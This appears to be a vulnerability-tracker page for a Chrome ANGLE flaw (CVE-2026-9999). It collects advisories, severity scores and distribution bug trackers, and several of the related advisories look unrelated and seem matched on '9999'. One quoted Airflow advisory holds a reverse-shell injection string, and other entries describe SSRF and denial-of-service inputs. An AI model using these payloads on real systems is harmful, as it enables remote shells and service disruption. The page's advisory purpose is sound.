CVE-2026-9999
published 2026-05-28CVE-2026-9999: Inappropriate implementation in ANGLE in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via…
PriorityP351high8.8CVSS 3.1
AVNACLPRNUIRSUCHIHAH
EPSS
0.25%
15.1th percentile
Inappropriate implementation in ANGLE in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| chrome | < 148.0.7778.216 | 148.0.7778.216 | |
| chrome | >= 148.0.7778.216 < 148.0.7778.216 | 148.0.7778.216 | |
| chrome_desktop | — | — | |
| liquidjs | liquidjs | 0 – 10.24.0 | — |
| paloalto | prisma_browser | — | — |
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
ghsa6.3MEDIUM
vendor_redhat8.8HIGH
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Palo Alto
PAN-SA-2026-0008 Chromium: Monthly Vulnerability Update (June 2026)
vendor_paloalto·2026-06-10·CVSS 8.8
CVE-2026-8509 [HIGH] PAN-SA-2026-0008 Chromium: Monthly Vulnerability Update (June 2026)
PAN-SA-2026-0008 Chromium: Monthly Vulnerability Update (June 2026)
Palo Alto Networks incorporated the following Chromium security fixes into our products: https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html CVE Summary CVE-2026-8509 Heap buffer overflow in WebML CVE-2026-8510 Integer overflow in Skia CVE-2026-8511 Use after free in UI CVE-2026-8512 Use after free in FileSystem CVE-2026-8513 Use after free in Input CVE-2026-8514 Use after free in Aura CVE-2026-8515 Use after free
Chrome
Stable Channel Update for Desktop: CVE-2026-9998
vendor_chrome·2026-05-27
CVE-2026-9998 [HIGH] Stable Channel Update for Desktop: CVE-2026-9998
Stable Channel Update for Desktop
CVE-2026-9998: Integer overflow in Skia. Reported by Google on 2026-05-14 [N/A][ 513364480 ] High CVE-2026-9999: Inappropriate implementation in ANGLE
Reported by Google on 2026-05-15 [N/A][ 513505608 ] High CVE-2026-10000: Use after free in Passwords
Severity: high
Red Hat
chromium-browser: Inappropriate implementation in ANGLE
vendor_redhat·2026-05-27·CVSS 8.8
CVE-2026-9999 [HIGH] CWE-94 chromium-browser: Inappropriate implementation in ANGLE
chromium-browser: Inappropriate implementation in ANGLE
An inappropriate implementation flaw was found in the ANGLE component of the Chromium browser.
Upstream bug(s):
https://code.google.com/p/chromium/issues/detail?id=513364480
Statement: Red Hat Product Security rates the severity of this flaw as determined by the Google Chrome Security Advisory.
GHSA
Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine
ghsa·2026-06-01·CVSS 6.3
CVE-2026-42252 [MEDIUM] CWE-1336 Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine
Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE c
GHSA
GHSA-qg99-3fxw-j5pv: Inappropriate implementation in ANGLE in Google Chrome on Mac prior to 148
ghsa_unreviewed·2026-05-29
CVE-2026-9999 [HIGH] CWE-269 GHSA-qg99-3fxw-j5pv: Inappropriate implementation in ANGLE in Google Chrome on Mac prior to 148
Inappropriate implementation in ANGLE in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
GHSA
Weblate Vulnerable to Authenticated SSRF via Project Backup Import bypassing validate_repo_url
ghsa·2026-04-30
CVE-2026-41654 [MEDIUM] CWE-20 Weblate Vulnerable to Authenticated SSRF via Project Backup Import bypassing validate_repo_url
Weblate Vulnerable to Authenticated SSRF via Project Backup Import bypassing validate_repo_url
### Impact
An authenticated user with `project.add` permission (default on hosted Weblate SaaS and for any user holding an active billing/trial plan) can import a crafted project backup ZIP whose `components/.json` contains an attacker-chosen `repo` URL pointing at a **private address** (e.g. `http://127.0.0.1:9999/`) or using a **non-allow-listed scheme** (e.g. `file://`, `git://`). Weblate persists the component via `Component.objects.bulk_create([component])[0]`, which bypasses Django's `full_clean()` and therefore never runs the `validate_repo_url` validator. The URL is subsequently written verbatim into `.git/config` by `configure_repo(pull=False)`.
### Patches
* https://github.com/Weblate
GHSA
LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash
ghsa·2026-03-25
CVE-2026-33285 [HIGH] CWE-20 LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash
LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash
### Summary
LiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a **V8 Fatal error that crashes the Node.js process**, resulting in complete denial of service from a single HTTP request.
### Details
When LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ranges where `low > high` (e.g., `(100000000..1)`), this computation yields a negative value (`1 - 100000000 + 1 = -9999
No detection rules found.
No public exploits indexed.
Bugzilla
CVE-2026-9999 webkitgtk: Inappropriate implementation in ANGLE [fedora-all]
bugzilla·2026-09-25·CVSS 8.8
CVE-2026-9999 [HIGH] CVE-2026-9999 webkitgtk: Inappropriate implementation in ANGLE [fedora-all]
CVE-2026-9999 webkitgtk: Inappropriate implementation in ANGLE [fedora-all]
Disclaimer: Community trackers are created by Red Hat Product Security team on a best effort basis. Package maintainers are required to ascertain if the flaw indeed affects their package, before starting the update process.
Inappropriate implementation in ANGLE in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Bugzilla
CVE-2026-9999 webkitgtk: Inappropriate implementation in ANGLE [epel-all]
bugzilla·2026-09-25·CVSS 8.8
CVE-2026-9999 [HIGH] CVE-2026-9999 webkitgtk: Inappropriate implementation in ANGLE [epel-all]
CVE-2026-9999 webkitgtk: Inappropriate implementation in ANGLE [epel-all]
Disclaimer: Community trackers are created by Red Hat Product Security team on a best effort basis. Package maintainers are required to ascertain if the flaw indeed affects their package, before starting the update process.
Inappropriate implementation in ANGLE in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Bugzilla
CVE-2026-58011 mingw-glib2: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime [fedora-all]
bugzilla·2026-06-30·CVSS 6.5
CVE-2026-58011 [MEDIUM] CVE-2026-58011 mingw-glib2: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime [fedora-all]
CVE-2026-58011 mingw-glib2: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime [fedora-all]
Disclaimer: Community trackers are created by Red Hat Product Security team on a best effort basis. Package maintainers are required to ascertain if the flaw indeed affects their package, before starting the update process.
A global-buffer-overflow (out-of-bounds read) exists in GLib's g_date_time_get_ymd() function, triggered when operating on an invalid GDateTime object produced by g_date_time_add_full(). The g_date_time_add_full() function does not validate that the resulting date falls within the supported range (years 1–9999), allowing construction of a GDateTime with a negative or zero days field. When any getter function (e.g., g_date_time_get_month(), g_date_t
Bugzilla
CVE-2026-58011 glib: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime [fedora-all]
bugzilla·2026-06-30·CVSS 6.5
CVE-2026-58011 [MEDIUM] CVE-2026-58011 glib: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime [fedora-all]
CVE-2026-58011 glib: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime [fedora-all]
Disclaimer: Community trackers are created by Red Hat Product Security team on a best effort basis. Package maintainers are required to ascertain if the flaw indeed affects their package, before starting the update process.
A global-buffer-overflow (out-of-bounds read) exists in GLib's g_date_time_get_ymd() function, triggered when operating on an invalid GDateTime object produced by g_date_time_add_full(). The g_date_time_add_full() function does not validate that the resulting date falls within the supported range (years 1–9999), allowing construction of a GDateTime with a negative or zero days field. When any getter function (e.g., g_date_time_get_month(), g_date_time_get
Bugzilla
CVE-2026-58011 glib2: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime [fedora-all]
bugzilla·2026-06-30·CVSS 6.5
CVE-2026-58011 [MEDIUM] CVE-2026-58011 glib2: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime [fedora-all]
CVE-2026-58011 glib2: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime [fedora-all]
Disclaimer: Community trackers are created by Red Hat Product Security team on a best effort basis. Package maintainers are required to ascertain if the flaw indeed affects their package, before starting the update process.
A global-buffer-overflow (out-of-bounds read) exists in GLib's g_date_time_get_ymd() function, triggered when operating on an invalid GDateTime object produced by g_date_time_add_full(). The g_date_time_add_full() function does not validate that the resulting date falls within the supported range (years 1–9999), allowing construction of a GDateTime with a negative or zero days field. When any getter function (e.g., g_date_time_get_month(), g_date_time_ge
Bugzilla
CVE-2026-58011 glib: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime
bugzilla·2026-06-24·CVSS 6.5
CVE-2026-58011 [MEDIUM] CVE-2026-58011 glib: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime
CVE-2026-58011 glib: out-of-bounds read in glib/gdatetime.c:g_date_time_get_ymd via invalid GDateTime
A global-buffer-overflow (out-of-bounds read) exists in GLib's g_date_time_get_ymd() function, triggered when operating on an invalid GDateTime object produced by g_date_time_add_full(). The g_date_time_add_full() function does not validate that the resulting date falls within the supported range (years 1–9999), allowing construction of a GDateTime with a negative or zero days field. When any getter function (e.g., g_date_time_get_month(), g_date_time_get_year()) is subsequently called, the internal g_date_time_get_ymd() routine computes a negative array index, causing a 2-byte OOB read from adjacent global data.
Bugzilla
CVE-2026-9999 chromium-browser: Inappropriate implementation in ANGLE
bugzilla·2026-05-28
CVE-2026-9999 [HIGH] CVE-2026-9999 chromium-browser: Inappropriate implementation in ANGLE
CVE-2026-9999 chromium-browser: Inappropriate implementation in ANGLE
Inappropriate implementation in ANGLE in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
2026-05-28
Published